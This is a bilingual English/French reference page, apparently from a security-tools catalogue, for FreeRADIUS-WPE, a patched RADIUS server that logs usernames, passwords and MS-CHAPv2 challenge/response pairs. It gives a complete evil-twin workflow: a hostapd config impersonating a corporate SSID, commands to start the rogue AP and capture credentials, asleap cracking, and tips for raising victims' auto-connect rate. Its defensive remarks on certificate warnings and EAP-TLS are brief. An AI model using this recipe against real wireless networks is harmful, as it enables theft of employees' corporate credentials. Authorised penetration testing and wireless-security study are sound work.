FreeRADIUS-WPE

Serveur FreeRADIUS patché (Wireless Pwnage Edition) qui journalise les identifiants en clair et les paires challenge/response provenant de clients s'authentifiant contre un faux AP WPA/WPA2-Enterprise. Patched FreeRADIUS server (Wireless Pwnage Edition) that logs cleartext credentials and challenge/response pairs from clients authenticating against a rogue WPA/WPA2-Enterprise AP.

↗ https://github.com/OpenSecurityResearch/freeradius-wpe

Overview

FreeRADIUS-WPE is a set of patches applied to FreeRADIUS that make it log usernames, passwords, and MS-CHAPv2 challenge/response pairs for every EAP authentication attempt it handles — instead of just accepting or rejecting them. Paired with a rogue access point (via hostapd) impersonating a known WPA/WPA2-Enterprise SSID, it lets an attacker capture corporate credentials from clients that auto-connect and attempt EAP authentication.

Common Usage

Build/install (typically already patched into freeradius source tree)

./configure && make && sudo make install

Run the patched radiusd in the foreground with debug output

sudo radiusd -X

Logged creds land here by default

tail -f /usr/local/var/log/radius/freeradius-server-wpe.log

Rogue AP Workflow

  1. Configure hostapd to advertise the target SSID with WPA-EAP
cat > hostapd.conf <<EOF
interface=wlan0
ssid=CorpWiFi
channel=6
wpa=2
wpa_key_mgmt=WPA-EAP
ieee8021x=1
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123
EOF
  1. Start the rogue AP
sudo hostapd hostapd.conf
  1. Start FreeRADIUS-WPE to capture creds from connecting clients
sudo radiusd -X
  1. Crack captured MS-CHAPv2 challenge/response with asleap or hashcat
asleap -C <challenge> -R <response>

Tips

  • Certificate warnings on the client (untrusted rogue RADIUS cert) are the main defense — this attack relies on users clicking through them
  • EAP-GTC/EAP-MSCHAPv2 (PEAP) exposures are the most common outcome; EAP-TLS with proper cert pinning is not vulnerable
  • Combine with airbase-ng or eaphammer for a more automated evil-twin setup
  • Always match SSID and security settings exactly to the legitimate network to maximize auto-connect rate
Help / Man page
radiusd [options]

  -X          Run in debug mode (foreground, full logging)
  -x          Debug mode (less verbose)
  -f          Run in foreground (no daemonize)
  -d <dir>    Set configuration directory
  -i <addr>   Listen on specific IP
  -p <port>   Listen on specific port (default 1812)

WPE-specific logging:
  Log file: ${logdir}/freeradius-server-wpe.log
  Captures: username, MSCHAPv2 challenge, MSCHAPv2 response,
            EAP-MD5 challenge/response, PAP cleartext password

Vue d’ensemble

FreeRADIUS-WPE est un ensemble de patches appliqués à FreeRADIUS qui le font journaliser les noms d’utilisateur, mots de passe et paires challenge/response MS-CHAPv2 pour chaque tentative d’authentification EAP qu’il traite, au lieu de simplement les accepter ou les rejeter. Associé à un rogue access point (via hostapd) usurpant un SSID WPA/WPA2-Enterprise connu, il permet à un attaquant de capturer des identifiants d’entreprise depuis les clients qui se connectent automatiquement et tentent une authentification EAP.

Utilisation courante

# Compiler/installer (généralement déjà patché dans l'arborescence source freeradius)
./configure && make && sudo make install

# Lancer le radiusd patché au premier plan avec sortie de debug
sudo radiusd -X

# Les identifiants journalisés atterrissent ici par défaut
tail -f /usr/local/var/log/radius/freeradius-server-wpe.log

Workflow avec rogue AP

  1. Configurer hostapd pour annoncer le SSID cible avec WPA-EAP
cat > hostapd.conf <<EOF
interface=wlan0
ssid=CorpWiFi
channel=6
wpa=2
wpa_key_mgmt=WPA-EAP
ieee8021x=1
auth_server_addr=127.0.0.1
auth_server_port=1812
auth_server_shared_secret=testing123
EOF
  1. Démarrer le rogue AP
sudo hostapd hostapd.conf
  1. Démarrer FreeRADIUS-WPE pour capturer les identifiants des clients qui se connectent
sudo radiusd -X
  1. Casser le challenge/response MS-CHAPv2 capturé avec asleap ou hashcat
asleap -C <challenge> -R <response>

Conseils

  • Les avertissements de certificat côté client (certificat RADIUS rogue non fiable) constituent la principale défense : cette attaque repose sur le fait que les utilisateurs cliquent malgré ces avertissements
  • Les expositions EAP-GTC/EAP-MSCHAPv2 (PEAP) sont le résultat le plus courant ; EAP-TLS avec un pinning de certificat correct n’est pas vulnérable
  • Combiner avec airbase-ng ou eaphammer pour une configuration evil-twin plus automatisée
  • Toujours faire correspondre exactement le SSID et les paramètres de sécurité au réseau légitime pour maximiser le taux de connexion automatique
Aide / Page de manuel
radiusd [options]

  -X          Run in debug mode (foreground, full logging)
  -x          Debug mode (less verbose)
  -f          Run in foreground (no daemonize)
  -d <dir>    Set configuration directory
  -i <addr>   Listen on specific IP
  -p <port>   Listen on specific port (default 1812)

WPE-specific logging:
  Log file: ${logdir}/freeradius-server-wpe.log
  Captures: username, MSCHAPv2 challenge, MSCHAPv2 response,
            EAP-MD5 challenge/response, PAP cleartext password